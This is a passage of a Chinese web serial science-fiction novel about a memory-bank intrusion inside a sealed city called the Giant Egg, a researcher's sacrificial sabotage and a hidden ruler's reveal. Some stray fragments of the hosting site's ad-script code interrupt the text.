“确实，你伪装地太好了，连我之前都相信了你。”她忽然叹了一口气，“现在你要的都已经拿到了，却还要反悔。” boss从她的平静里面忽然察觉到一点别样的味道，他忽然感到了什么一样，反射性地抬起头，与她清澈的目光相对。 她没有一点惊讶或者怨恨，或者其他被骗了的人常有的表情。 随即，他的通讯器发疯一般响了起来，“一队，和巨蛋守卫队遭遇中。” “二队，战斗模式。” “监控系统忽然失联，我们目前无法把握巨蛋周围的情况。” “支援，请求支援……” “你到底做了什么?”boss咬牙切齿的问道。 “你以为巨蛋的安全系统是死的么……开放权限这么大的事情，现在整个巨蛋已经进入一级戒备状态了。”她平静地答到。 忽然，叶明冉身后的墙面出现了一道裂口，随即化作一扇门。“告密者的救赎。这是一个可以进入巨蛋的捷径。你要跟着进来么？”她对一脸如临大敌的boss说道，语气里面仿佛在嘲笑他不敢单枪匹马进门的懦弱。 少年咬了咬牙，就要跟过去，被boss一下子拉住了。“不要管他们了。你等下和我一起去支援一队。” 这是叶明冉第一次在意识清醒的情况下进入巨蛋。他发现，进入巨蛋的这条路也是一个虚拟空间。他忽然有种不真实的感觉——进入国民记忆库是个虚拟通道就算了，为什么进入巨蛋也是这样呢？叶明冉想。 “因为这条路直接通向国民记忆库。”她好像可以读出叶明冉心里所想一样，说道。 两个人在这个幽暗的洞穴里面缓缓前行。 “话说回来，你是不是有点怕黑?”叶明冉注意到她好像脚步有点慢了下来。 “不是，我只是……”她最终没有说完，叶明冉发现他没有了问她问题的勇气——任何问题。 “记忆库……” “记忆库……” 两个人忽然同时出了声，叶明冉听到她先噗嗤一声笑了出来。 “你先说。”叶明冉觉得在两人只见那片沉重的乌云好像散去了一点。 “记忆库我进不去。”她说，“刚才我和Boss说，所谓的警备系统已经启动，其实是骗他的。的确里面有个类似于屏蔽系统的，也有最基本的警备系统，可是在通道打开之后，这些东西都十分脆弱。” “可是……巨蛋不是这个国度的中心么？为什么……”为什么会这样，叶明冉感觉自己的认知受 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到了冲击。 他忽然想起自己第一次进去巨蛋的时候，周围几乎没有人。在巨蛋里面见到的都是和他自己一样几乎手无寸铁的一般人，永远只存在在别人话语里面的统治者，消失的实验员，还有那个不自然时间流动速度。 “巨蛋，到底是什么？”叶明冉隐隐察觉到了一个 可怕的可能性，但知道这个问题本身没意义，因为她根本不会告诉他。 果然，她摇了摇头，“还不是说的时机。我只能说，巨蛋沦陷后，去域外可能是个不错的选择。在那之前，你先去国民记忆库里面把你的记忆找出来吧。” 叶明冉愣住了，她居然是知道的。为什么她会知道呢？ 少女看着叶明冉一时之间冻住的脸，嘴角微微抬了一下，然后缓缓抬起了自己的做左手——叶明冉这才注意到，她的中指上居然也套着一枚戒指，款式乍看之下和自己的那个没什么两样。 “你这是……”叶明冉一时之间说不出话来，“可是我的那个，应该被检察官拿去了才是……” “嗯，所谓对戒不是应该有两个么？”她狡黠地眨了一下眼。 叶明冉又想起检察官来搜查自己家的时候的情形，那时候他自己以为天衣无缝地把戒指藏在信纸里的行为，成功到他自己都难以置信的原因，他终于知道了。 “为什么……”叶明冉再也掩不住心底的疑惑，这时候忽然通道的里面的灯火闪烁了一下，随后熄灭了。 “应急模式，进入低能源模式。”电子音机械地说道。 “已经开始了，他们已经成功侵入了巨蛋。”她说道，语气里面并无惊讶，好像早就遇见到了这个结局。 “对不起瞒了你这么久。你手上的戒指，其实是个没有加入脚本的半成品，你把我的这个去国民记忆库，它会自动复制其中需要的部分，然后赶快带着它来找我。”说着，她迅速褪下了戒指。叶明冉这才发现，她的手指的纤细和戒指的尺寸一点也不相配。 “也许我本来就配不上这个呢。”她显然也注意到了，语气里面有种自嘲的味道。“她把戒指递给了叶明冉，“等下岔道，左边是通向国民记忆库，右边是经过特别实验室连接中枢的地方。” 叶明冉不知为何，从她的话语里面听出了一点诀别。 “你会和我一起去外围么？”叶明冉急忙问道。他自己都不知道外围是什么地方，只是有点怕这个心底的感觉。 “好啊，在这一切解决之后。”她说道。 两人走过一个突兀的石头转角，然后两条黑暗的隧道分了开来，尽管叶明冉知道它们通向同一个地方，但是此刻他却开始怕他们永远不交叠。 “我会带着记忆去找你的。”叶明冉喃喃道，然后目视着看着她先迈出的一步，唯恐跟不上一般，急急忙忙迈上了属于自己的路。 呛人的烟雾、杂乱的脚步、夹杂着的惊叫的呼喊声，和在叶明冉脑海里面响起的他们心底深处的声音交叠在一起，让人发狂。 28. 赫塞（上） 也许人在极端恐惧的时候才会对心里的想法毫不隐瞒，现在叶明冉已经分不清到底哪些尖叫是现实中的，哪些是内心发出的声音了。 叶明冉从没有想过，一直死气沉沉的巨蛋会陷入这样一种“热闹”里。 这个通道真的是通往国民记忆库的，而且他同样通往实验室。 叶明冉需要一个人帮他做记忆备份的操作，但那之前他更想确认的是彼得和赫塞的安危。 他曾经怀疑过他们两个人里面有一个是boss派来的卧底，但是现在来看似乎都不可能。 “快跑啊，电力系统操作室可能起火，隔壁的瓦斯泄露了。” 穿着白大褂的实验员们惊慌失措地奔跑，有些人还带不小心带掉了桌子上的瓶瓶罐罐。 玻璃破碎的声音，奇怪的液体混杂在一起发生的化学反应，又带来了新的恐慌。 他们眼里早就没有别人了，只有怎么逃出去这个想法。然而，巨蛋是不会再这种情况下开启的。 只有叶明冉一个人是向着实验室走的，周围已经没人，可他看不到他要找的人。 直到他看到赫塞的白大褂还整齐地放在桌子上。 “不会吧……”叶明冉想，可是果不其然在桌子上看见了调配换冲剂的瓶子。 赫塞居然在这个时候还在国民记忆库里头。 叶明冉三下五除二地开了一瓶换冲剂，迅速喝了下去。他要找到赫塞，他还要找回自己的记忆。 进入记忆库的过程还是那样让人恐惧，特别是叶明冉这次急急忙忙没有等换冲剂完全渗入神经系统就接入的，感受到了非同寻常的痛苦。 还好那痛苦旧就只有几十秒。 进入操作室，叶明冉忽然发现一丝异常，那就是整个操作室的风格，都和他知道的赫塞喜欢的风格不一样了。 赫塞在第一次进入巨蛋的时候就嘲笑叶明冉那个古典风格，他自己则偏向于简洁。 但是今天的操作室，简直可以说是趋向于华丽了。 操作室的门口有一个白色的门铃，门把上放着一把花束。 叶明冉有点怀疑，打开门之后会不会看到的是一个普通的起居室而不是操作台。 一股怪异的感慨在他心底涌起来，叶明冉没有管那个门铃，直接拉开了门。 里面的变化比叶明冉想象中变得更彻底。门口放着两盆子葱葱郁郁的盆栽，四面都是粉刷地十分漂亮的白墙，有旋转楼梯通向高处。 而房间的中央放着一家黑色的钢琴，一个穿着白色礼服的身影坐在那架钢琴前，手放在琴键上。 “是……赫塞吗？”叶明冉不确定地问道，只见那个身影站起了身，却没有回头。 “你来了。”是叶明冉熟悉的赫塞的声音，但是不知为何叶明冉却觉得他的声音里面带着点可怕的……狂热。 “巨蛋被人入侵了，现在巨蛋内部也很危险，你快点出去。”叶明冉没有时间去纠结这些细微的事情，毕竟先出去是最重要的。 “是么？”赫塞好像一点也没有被惊讶道，“终于有人找到突破这里的办法了？” 叶明冉这时候才察觉到一点不对劲，“你今天到底怎么了？操作台呢？” 叶明冉快步走到赫塞面前，果不其然发现钢琴成了整个操作室的核心部分——操作台。 “你的戒指拿来。”赫塞说道，叶明冉心里咯噔一跳。 “你到底知道了什么？”他第一次意识到赫塞可能不是突发奇想换个工作氛围那么简单。 赫塞回头看了叶明冉一眼，笑了笑，“不要那么紧张嘛，你一出去，我就定位了你。你所做的一切遇到的人，说过的话我都坐在这里看到了。你的愿望就要实现了，不是么？” 赫塞如同梦呓一般呐呐道，“他们终于入侵进来了。我的愿望，好像也快实现了呢。” 叶明冉觉得有点毛骨悚然，“赫塞，现在不是说这个的时候。既然你已经知道了我的记忆快要找回了，那就帮我完成数据激活的过程，然后我们一起出去吧。” 赫塞像没听见一样，反过来问道:“巨蛋怎么样了？现在的统治者已经焦头烂额了么？”完全是一副事不关己的样子。 他好像在享受着巨蛋的窘态并以此为乐。 “没有。你还记得你自己的理论么？”我提醒道，“这个记忆库才是整个巨蛋的根基，而这里是无法从外部被毁灭的。”叶明冉看到赫塞紧紧盯着他看，“不可能，我可不是什么光荣的赴死者，我可是做梦都想把自己脑子里面这个东西去掉，然后我要离开这里。” 赫塞辛辣地说道，“不用特地和我炫耀了。我已经看到你们约好之后一起去外围。” 你们约好……叶明冉敏锐地从中捕捉出了一丝苦涩的滋味来。如同起居室一样优雅的操作室，赫塞反常的行为，一切只让叶明冉感觉他是在缅怀什么人。 他忽然想起很久以前，赫塞给他讲过的，巨蛋唯一也是最后一名女性研究员的故事。 赫塞一点也没有给叶明冉细想的机会，瞬间转移了话题，“这个戒指其实一个类似存储器的东西，只是它能够提取的资料 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已经被事前定好了。只是我有有一点不明白，在成功提取之后，你还需要人给你植入才行。她也是神经操作师么？我还没有听说过女性的神经操作师的存在。” 叶明冉:“你怎么忽然知道得这么清楚了?”明明之前叶明冉把自己的戒指给他看的时候，他还只给出了一个模糊的推测。 “如果我说，我早就知道了，就是不告诉你呢？”赫塞说。 叶明冉想了想，回答道:”你不是那种人。” 赫塞却仿佛被他的回答激怒了一样，“我们认识了多久，你知道我的经历，我的想法，以及我接下来要做的事情么？”他的声音忽然拔高。 叶明冉却从中看出了赫塞的失落来，他回答道，“我当然不知道你过去的样子，可我知道你和我一起工作的样子，你的性格和所有品质。”叶明冉真诚地看向赫塞，“放下吧，你要不要和我们一起出去?在外围有……”他忽然发现接不下去了。 他自己也从未去过那里，那里在绝大部分人眼里是可怕的地方，外围的扩大甚至叫“侵蚀”。而赫塞作为可以进入记忆库的人，政权的交替其实对他毫无影响。无论巨蛋怎么变，他完全可以继续他现在的工作。 叶明冉的话卡在半路上。 想不到赫塞居然感激地笑了笑，“谢谢你。” 叶明冉惊讶地睁大眼睛——是第一次从他嘴里听到真诚的道谢，平时赫塞钟情于所有的事物冷嘲热讽。而这唯一一次莫名其妙的感谢，叶明冉知道自己甚至什么都没有做。 叶明冉默默地把戒指递给他，“操作交给你了。” 赫塞同样沉默地接过了戒指，他们之间好像存在了某种奇妙的默契与信任。 叶明冉看着赫塞接过戒指仔细打量了一番，然后把把它直接放在了操作台上。 那个存储小凹槽的形状有点奇怪，赫塞废了几分钟才把它固定进去，还在用手指调节位置。 为什么他不干脆用指令权限让干脆让凹槽去吸收接纳戒指呢？ 操作台可以随着意念而动，叶明冉就从来不用手去完成这些靠着想一想就完成的事情。 “咔”的一声轻响，戒指被完全固定了，操作台上倒计时显示了三分秒的液晶屏。 “普通人二十年份的记忆，如果这是你全部的记忆，至少现在我们知道你的大致年龄了。”赫塞轻轻抹了下额头上的细汗，“复制进去的记忆果然在瞬间加密了。这个格式，我都没有见过。” “我想，她手上有最后的密钥。我们约在特别实验室见面。”叶明冉说。 29. 赫塞（下） “特别实验室啊。”赫塞淡淡地重复了一遍，似乎没有什么兴趣。 “等下我们一起过去，或者你先出去。外面实验室的有起火的危险，到时候进出路径被封闭了就麻烦了。”叶明冉眼睛焦急地一直看着那行倒计时，恨不得时间过得快一点。 然而一句话的时间就只有那么短，连一分钟都没有过去。 赫赛却摇了摇头，“叶明冉，谢谢你的信任，我的确之前不知道，是从你和她的对话里面推测的。如果你需要神经操作师，可以去找彼得，我最后一次看到他的时候他正好在特别实验室。”他居然又说了一遍谢谢。 叶明冉隐隐约约从他的话里嗅出了离别的滋味，“赫赛……你……” 赫赛也撇了一眼时间，“还有两分钟啊……我的夙愿就要实现了，在这两分钟里面你愿不愿意听听我的人生?”他笑着说道。 叶明冉忽然知道了他是不打算走了，“别傻了，就算外面爆炸了，这个空间也是永远存在的，你会被永远困在里面，直到另一个统治者强制打开他。你知道的，这个空间的不会从外面被消灭的。” “我知道啊，所以我打算从内部消灭它。”赫赛居然笑了一下。 叶明冉心里咯噔一跳，“什么意思？” 这时候默默盯了一眼眼前的琴键，忽然后盖缓缓地打开了，“只要用一个微型炸弹，放在整个操作台的中枢……” “你怎么可能会有……”叶明冉说。 这时候“滴”的一声，是复制完成的声音。 赫赛把那个戒指拿出来，凌空抛给了叶明冉，同时自己后退了一步，拉开了两人的距离。 他抬手的时候，叶明冉发现他的手腕上挂着一个钥匙——是他们之前用来用来复制不正常记忆的载体。 赫赛注意到叶明冉在看那个钥匙，笑着把它解下来，直接插进了操作台。 “你的戒指启发了我，肯定是有某种载体是可以带着炸弹进入操作台的。我后来一想，我们平时用来装载记忆的载体不就是么。更奇妙的是，它的后面本来就有一个5ml凹槽。赫赛道，“3ml，是毁掉这个系统理论上需要的计量。” “可是……你哪里来的原料……”叶明冉问道，隐隐心头浮现出了一个以前听过的例子。 “如果你熟悉换冲剂和神经连接剂的配方，你就会知道它们可以组成最原始的火药，尽管也许只能燃烧。”看着叶明冉吃惊地表情，他露出一丝骄傲来。 “吃惊么?他们如此严密地控制神经药物在巨蛋内合成，自从……那个事件以后，就算每次给我们用的量，也是经过计算的，所以我每次进去的时候都会留下一点儿。然后在夜里用语音打报告的时候，偷偷藏一点……” 叶明冉不知为何想起他又一次和赫赛一起进入巨蛋，时间快结束时赫赛满脸痛苦的样子。难道……他一直…… 仿佛要解答叶明冉的疑问一般，“你知道神经换冲剂不足量时接入巨蛋的感觉是怎样的？刚开始，你会看见双重的幻觉……仿佛世界有两个，那种感觉是很奇妙的。渐渐地，属于“真理”的那一块会变得无比的强大，直接进入你的所有神经接口——” 这不是矫情。 叶明冉见过一次神经导线连接的过程，尽管在换冲剂的作用下，他只看到了那些细小的黑色导线刺破皮肤而没有感觉到痛感，但是一想到那如果是在没有换冲剂的情况下连接的…… 叶明冉知道被神经锉刀斩断神经通路之后在接上是什么感觉，所以巨蛋都愿意把它作为□□死刑以上的一种刑罚。 “你就这么恨巨蛋里面的那些人么？”叶明冉问道，是怎样的深仇大恨，才能让赫赛从十年前就开始每天减少换冲剂的摄入量，将这死亡的种子一粒一粒埋在这片守卫森严的土地上。 它毁了我的全部人生。 叶明冉忽然想起他在记忆库里面看到的那段赫赛小时候的影像，那时候他还有家庭，还能看见外面五彩斑斓的世界。 叶明冉不敢去想象那片彩色被黑暗吞没的瞬间。 赫赛的声音带着冰冷的笑意，“巨蛋要的都是没有牵绊的人，但是这个地方哪里会有那么多不幸和孤儿呢？” 叶明冉只顿了一会儿，就知道了赫赛话里的意思，只觉得背上凉透了。 原来之前他只是故作镇定。也是，谁知道了这样的事情还会心甘情愿呢。 叶明冉脑海里面浮现出一个声音，“我们都是被制造的孤儿，又在这里制造孤儿。” 这是谁说的？ 为了招募足够的人员进入巨蛋，“他们”生生的斩断了多少人与他们亲人的联系，又用一段段虚假单调的记忆将那些断片连接起来。如同医生在手术室里面挥动着手术刀，从人的肚子里面把破碎的脏器取出来，又缝上。 叶明冉眼前忽然映出了一个从未见过的场面，里面的灯光和实验室的LED一样惨白，但他可以明确分辨出那是一间急救室。 可是，为什么他会知道这是一间急救室？这个东西不就早在这个时代里面消失了么？急救室里面的人进进出出，他听到一个女性的哭声，外面的叫骂声，以及一个苍老的声音在喊着“静一静！” 那个医生，橡胶手套上面沾了很多鲜红的血，上面居然有一个跳动的东西——好像是一个鲜红的、跳动的心脏。 忽然一阵剧烈的疼痛猛烈地袭击了他的太阳穴，叶明冉不禁捂住了头，蹲了下来。 “你怎么了？”赫赛问道。 叶明冉也不知道自己是怎么了。刚才那一瞬间，他感觉有无数不属于自己的记忆，忽然如同暴雨一般，涌进了他开了一个小口子的记忆的小屋，并且很快要被它淹没了。 过多的记忆让他的视线也变得不安定起来，叶明冉觉得有点想吐。 手里面的戒指似乎在微微发热。 “代价实在是太大了。你是……为了什么人么？”叶明冉一边喘着气，一边问了赫赛一个最重要的问题。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 赫赛蒙着一层白翳的眼睛转向他，明明知道赫赛看不见，但是叶明冉却有一种灵魂都被窥探了的错觉。 “我只是尽了一个人未了的心愿。只是，那个想出了这个笨方法的人，她早就不在了啊。”最后，赫赛没有正面回答这个问题。 叶明冉扫了一眼周围素雅清新的房间布置，也许，只是也许……有人曾经在这个操作室里面，在钢琴前优雅地演奏着。 她心里静静地埋藏着的愤懑，日渐积累，可最终功败垂成。 赫赛坐在钢琴前，轻轻调节了下坐姿，把水放在了琴键上。“我从她最后的记忆里面，移植出了这一段曲子的记忆。” ——《离别》（注1） 那深藏的、隐秘到无法倾吐的爱意。 一个人的记忆千千万万，他偏偏选了一段曲子去铭记，仿佛只要有了这一段，他就可以回溯过去的所有。 “退出权限按钮在哪里！”叶明冉几乎吼了起来，他快步走到了赫赛的身后，几乎像是一个焦虑盲人的一样在钢琴上面摸索。 忽然他看到了那个退出的按键，它静静在钢琴的背面 “让他退出去！”叶明冉在心里用意念使劲想，竟然不经意地出了声。 赫赛凄然地笑了笑，“没用的，你进入到现在为止我还什么都没有干，现在操作权限的优先权还在我这边。” 所以他一次也没有动用权限，这就是他为什么一直在用手动的办法操作，包括取出记忆设备的时候，都是亲力亲为。 音乐流水一般从赫赛的指尖流淌出来，中间夹杂着一个提示声，“爆破倒计时30秒，是否选择存留现场?”不同于普通地电子音，这是一个温柔的女声。 赫赛微笑着点了点头。 “我明白了。”温柔的女生答到。那一瞬，叶明冉觉得那个声音仿佛有了生命。 他忽然觉得按在按钮上的手被牢牢黏在了上面，怎么也挣脱不开。 “你还是这么天真。这么明显的按钮，是为你准备的。”赫赛说道，“执行他的强制退出程序。”他对着一片黑暗静静地吩咐道。 叶明冉感觉视线里面一切都在变得模糊，只有赫赛的脸和倒计时格外清晰，”不要这样，炸弹放在这里，然后我们出去！” 他绝望地发现自己使不出力气，看见自己伸出去的手渐渐消散在空中。 身体的其他部分一定也是这样…… 15、14…… 他见赫赛停下了弹琴的手，静静聆听那个温和的声音。 他感觉他的视觉在消失，如同夜幕在周遭缓缓降临。 他忽然听到赫赛的声音——“你以前是不是问过我这份工作怎么样？现在我可以回答你了。” 好像是有这么一回事，叶明冉在黑暗中想，然后赫赛有点无奈的声音响起来。 “我别无选择。” 5、4…… “因为这是这个国度内，对我而言唯一一个自由的角落。” 30. 彼得 叶明冉看见了眼前的星空。 巨蛋封闭了制空权的同时遮蔽了天空，所以人们看到的夜空都是模拟出来的投影。 真正的星空，叶明冉从来没有见过。 “这就是……域外么？”叶明冉迷迷糊糊地想，忽然耳边传来海浪的声音。 叶明冉睁开眼睛，发现自己躺在一片沙滩上。 为什么会有沙滩，刚才是不是有什么事情。 叶明冉觉得自己脑海里面重要的部分似乎被挖去了一块，原本他应该察觉不到的，是空虚感让他感觉到违和。 耳畔传来海浪拍打沙滩的声音，和一阵脚步声。 叶明冉觉得眼皮十分沉重，又闭上了眼睛。 “你怎么睡着了？”是一个熟悉的女孩子的声音。 叶明冉心想，“你是谁？我为什么不能睡?” 心脏忽然像被什么重重地打了一下，让叶明冉感觉到了剧烈的抽痛。 “你怎么了？”她的声音忽然充满了惊慌。叶明冉知道自己的脸色一定白得像纸。 奇怪，我怎么觉得自己是有……先天性心脏病的。 先天性心脏病又是什么疾病名称？ “对不起，吓到你了。”叶明冉发不出一丝声音，只能在心里抱歉道。 场景忽然一转。 “我不识字。”叶明冉这次变成了围观者。他看见过去的自己把一枚戒指滑进一个信封里，把那封信件给了鹰钩鼻的检察官。 这次，在在电光火石间他撇到了一个单词。 “戒指……” 那封信里面居然是真的提到了戒指的，他想。 似乎有什么东西要从脑子里面破土而出，到底是什么呢？ 手指忽然被什么东西勒得生疼，叶明冉低下头看见一枚小小的戒指正套在他的中指上。似乎有什么人想要用蛮力把它扯下来一样。 “不要这样。”叶明冉淡漠地想，“除去这个我已经一无所有了。” 那个扯着戒指力气消失了，紧接着一个没有感情的声音响了起来， “你愿意接受巨蛋的审判么？你被指控为反人类罪。” 反人类罪啊，似乎在哪里听说过。 “这样下去我们不知道他什么时候会醒来。不过没有脑死亡的话，维持生命体征的话肯定是没问题的。另一个人的运气要好些啊，估计有点轻微的脑震荡吧。毕竟这个除了遇到车祸心脏还差点停跳。” “你指的是思维提取再返回么?可是将他的记忆传送到另一个被创造的世界啊，连我们也不知道去那里会发生什么。别的不说，记忆到底是什么形态我们都把握不了啊。” “你的意思是你也想跟着去?你知道什么是自身难保么？首先你根本不知道那里有什么，再者你不知道自己能不能找到人，最后回来的方法只是存在于理论上的。这样你也愿意去?” 这是谁和谁的对话，为什么似曾相识呢？叶明冉迷迷糊糊地想。 场景的切换太快了，让他不知道到底哪些是梦哪些是真实的。 “叶明冉，快点起来。”好像有人在剧烈摇晃他的身体。 “吵死了……”叶明冉心里想，可是眼睛却不由自主地睁开了了，被刺眼的白光照了一下又闭了起来。 “麻药的效果早过了，现在你能好好爬起来了么?”他听到一个有点苍老的声音。 “彼……得……”叶明冉吃得睁开眼睛，果不其然看到彼得那张老有点忧愁的脸，现在上面还挂着不耐烦和焦急。 “去找彼得……”叶明冉忽然想起赫塞说过这一句，可是—— “赫塞！”叶明冉忽然脑子里面想起了记忆断开前的事情，“他要毁掉国民记忆库！” 可是来不及了，叶明冉心里一个声音说。 彼得露出了有点悲伤的表情，叶明冉心里一沉。 “国民记忆库已经不在了。”彼得说，“我刚刚试图进入的时候发现入口已经消失了。不过，这个话我们谁都不能说。” 叶明冉觉得自己全身上下都失去了力气。 他躺了回去，用手掌捂住了眼睛。 “你怎么样，有没有想起什么以前的事情?”彼得忽然问道。 “我好像……做了一个漫长的梦。”叶明冉低声说。 “那就好，我把你的记忆给接上去了。完全融合估计还需要一点时间。”彼得说。 叶明冉猛得一惊，记忆…… “你怎么知道……”他吃惊地看向彼得。 彼得的表情有点犹豫，似乎在纠结要不要开口—— “是我告诉他的。”叶明冉听到了她的声音。 叶明冉这下再也躺不住了。彼得在特别实验室，而和她约好的会面地点也在特别实验室。 此时的她居然换了一身黑色的连衣裙，好像在缅怀什么东西一样。 远处隐约传来撞门的声音。 “巨蛋实际上已经沦陷了。只有实验区域还没有被攻破，因为这里的墙的结构十分完美，用烈性的炸弹也无济于事，是个不可攻破的壁垒，我们可以在这里等待A区的警卫队来支援。”她说道，“现在特别实验室里面现在只有我们三个人了。” 叶明冉这才打量了下周围，忽然发现所谓的特别实验室和他呆着的实验室并没有区别，只是深处有一扇红木的门，在一片白色底色的实验器材中间格外显眼，有种庄严肃穆的气氛。 “特别实验室，到底是……”林锋忽然想起了他看到的那些猎犬和那个鹰钩鼻的检察官，他们和组织那边改造出来的守门人到底有什么联系呢？ “特别实验室是最高统治者手下直属的研究机构，主要是用来实现统治者本人的愿望的。下面的人，都是直接听命于最高统治者的。”彼得说道，眼睛看向那扇门扉， “我们和统治者还有一门之隔，所以命令的传达是非常迅速的。只是统治者每换一人，愿望都不一样，这一届的统治者推崇的方向是研究精神和□□的联系。我个人对这个课题也非常感兴趣。” 叶明冉静静地听着，他忽然想起来以前听过的很多事情，包括这届统治者似乎不知道是从什么地方冒出来的，以及在很短的时间内就统治了巨蛋的传言。 彼得说到这里，静静看了一眼少女，少女点了点头，示意他可以继续说下去。 为什么彼得说句话也要征求她的同意呢？他不是直接只听命于统治者本人么，就算她是以前做过秘书官的……叶明冉漫无边际地想到。 “然后我们就发现，精神和□□的存在其实是可以分开的……”彼得接下来的话让叶明冉震撼，“之前有一部分人被执行□□死刑后精神依然存活所以可以在唤醒基本的生体反应后继续存活，而精神死刑虽然无比痛苦，可也有部分人——比如你自己在经历一次精神死刑之后几乎都没有受到什么影响。这就让我不得不思考，到底“死亡”是一个什么东西。所以，这才有了极刑的构想。” 叶明冉忽然感到了一丝愤怒，那个存在抹消的极刑，居然是在这种背景下面被提出来的， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “构想？那可是一个人的生命啊？” 彼得居然微微一笑，“我知道这是人的生命，因此我们十分小心地筛选实验品。极刑是需要被判反人类罪的，反人类罪则是对整个巨蛋的大不敬。让本身对这个世界怀有恶意的人离开这个世界，是一件公平而公正的事情，也许是双方的夙愿。” “这并不是特别实验室的想法，基本上是最高统治者本人的理论和意志。”一直沉默的她忽然开了口，“实验员本身只是执行者而已。” 为什么你要维护他呢？叶明冉想。 “那么想出这一切的那个混账的统治者，他现在在哪里？”叶明冉觉得自己的怒火无处释放，直接吼了出来。他这时候似乎有点明白BOSS对巨蛋的评价的，他甚至有点后悔，不应该因为一个芯片的事情就和组织翻脸。 忽然间，“轰——”一声震耳欲聋的巨响传来，叶明冉发现他面前的那堵墙上出现了一个个六边形的裂痕，然后随着“咔”的轻轻一声，整个墙面分崩离析。 “无坚不摧的壁垒，不选择直接轰开而是利用爆炸制造一个相同的振动频率，让它们从内部自己毁灭才是最好的做法。”“哒……哒”是拐杖落地的声音，叶明冉其实从声音已经知道了来人是谁。 “叶明冉，我感谢你精彩的逃亡，其实就是把整个巨蛋直接暴露在了我的眼下啊。”boss说。 叶明冉有些茫然，这时候boss得意地指了指自己的脑袋。 叶明冉心里一凉，“芯片……”他忽然间意识到，巨蛋屏蔽解除后芯片已经可以传出信息，所以他的所见所闻以及位置，一切都随时处于boss的监视之下。 boss的眼睛并没有看着叶明冉，而是越过叶明冉一行人，看着最后面的那扇门。 “打开后面那扇门吧。”他说。 这时候boss身后也传来一阵脚步声。 “不许动！”叶明冉心里立刻升腾起意思微茫的希望。 随后，他看清了对方并不是穿着巨蛋警备的服装。那是对方的人。 背后的脚步声越来越密集，boss往前迈了一步。叶明冉犹豫地看了她一眼，只见少女一言不发地盯着boss。 “看来你们内部也不是很团结啊。”boss忽然说出一句莫名其妙的话，“把钥匙给我吧？”他不知道是在对谁说话。 这时候，忽然彼得向前面迈出了一步，走到了boss面前，和他鞠了一个躬。 “好久不见了。”他看着boss的断腿和比自己还要苍老的容颜，从白色的实验服的大口袋里面掏出了一个类似存储芯片的东西。 “好久不见了。”boss看上去心情似乎有些复杂，“战友，我还以为你是抛弃我们了。知道我看到了通信设备里面传来的人体改造的数据，我才意识到有可能是你。你知道么，我们这边有个很有才能的人甚至把你给的数据给改良了。” “彼得……”叶明冉惊愕地看着他们两个人的叙旧，然后老实验员转头就进入了对方的阵地。 “对不起了。”彼得说。 boss用有点怜悯的目光看着叶明冉两个人，“怎么样，现在你们的筹码已经全部没有了。”他把手头的芯片抖了抖，“我已经有了密码库，破解一下只是时间的问题。” 他有些戏谑地看了她一眼，“怎么样？要不要来做我的秘书官，我可以开你两倍的酬劳，并且满足你一个愿望——不过留下这小子的事情我不能答应你，因为我这边也有要交代的有功之臣啊。” 31. 审判 他说一句话，就带着他的军团前进一步，两人只得后退。最终叶明冉的背抵到了那扇大门。 木头的门扉坚硬而冰冷。 退无可退。 “你以为你赢了么？”叶明冉听见她轻轻地说道。 然后他感觉身后的门忽然没有预兆地打开了，她轻盈地闪了进去，而叶明冉则是没有任何准备直接向后倒了进去。 “砰”的一声，门又在瞬间合上了。 门口传来boss夹杂着笑意的声音，“没用的，破开这个只是时间问题而已。” 这里是最高统治者的房间，那么这里面坐着的，难道是最高统治者么？ 叶明冉这么想着，立刻爬起来看向房间的深处——这真的是一个办公室一样的房间，一张宽大的办公桌在房间的最深处，只是——没有人。 这个房间里面，除了叶明冉和她两个人以外，居然一个人也没有。 门外，给boss助威的小喽啰们的声音隐约传来，“你不要以为庇护这两个人就可以怎么样了！”“我们迟早会取代你的！” 他本来以为，是里面有人给他们打开了门，然而—— 叶明冉觉得自己的动作是一部被慢放了电影，他缓缓地转身去看他身后的人，除了他自己以外，这个房间里面唯一的一个人。 “你……到底是谁？”叶明冉问道，他漫无边际地想，那身黑色的连衣裙，怎么就显得那么庄严呢。 少女没有回答。她只是越过了叶明冉，背对着他向着房间的深处走去。 一步，两步…… 叶明冉看着她走到了那个位置上，坐下来，居高临下地看着自己。 原来是这样啊。叶明冉忽然觉得很想笑。 什么前秘书官，什么仅仅有一次的特别权限，原来都是为了欺骗别人的道具，而有意思的是自己居然深陷其中不可自拔。 “到底是为什么？”叶明冉喃喃地问道。 他看见她看向他的目光里面充满了忧虑，也有种隐秘的期待，“你现在还没有想起来么？”她问。 “想起来什——”叶明冉还没说完，忽然感到有一阵猝不及防的疼痛袭击了他的太阳穴，他不禁抽了一口冷气捂着头半跪了下来。 这个该死的记忆移植副作用，偏偏在这个时候发作了。 叶明冉一边在心底咒骂着，忽然如同海浪一样汹涌地腾起的记忆在他的脑海中冲刷出了一片空白——对于当下的部分一片空白。 “你再等等，我去开车……！救护车来不及的”那个一边按着他胸口，一边带着哭腔给医院打电话的人，是谁？ 叶明冉感到自己的意识是飘在空中的，直到他听到了尖锐的刹车声和碰撞。 “那个卡车是疲劳驾驶，司机转弯的时候没注意。” “可是这个小车也不对啊，哇，女司机啊怎么可以开这么快的码速，能见度还这么低。” 叶明冉感觉到有什么热辣辣的东西滴在了他的脸上。 “你们吵什么吵，责任的事情以后会有人来判，没看到还有气么？快点叫救护车。” 然后叶明冉耳边响起了生体反应仪器单调的嘟嘟声，那个声音一直持续了好多天。 “他刚好心脏病发作，又遇到车祸，简直是多灾多难啊，能有口气就不错了，可是再不醒来也不过是个植物人的状态啊。”是一个男医生的声音，他的声音叶明冉经常听到，可能是他的主治医师。 “真可怜呢，他女朋友那时候也一起，据说是急着把他送医院的时候出的车祸，感觉伤得好像也不比他轻啊。”是一个年轻的女孩子的声音，应该是护士。 这时候传来一阵急促的脚步声，另一个女声响起，“一起来的那个病人醒了！” 叶明冉不知道为何感到一点高兴，终于他没有再拖累她了。 可是—— “你们不是有最新的医疗手法可以让植物状态的人醒来的么？”叶明冉听到了争执的声音。 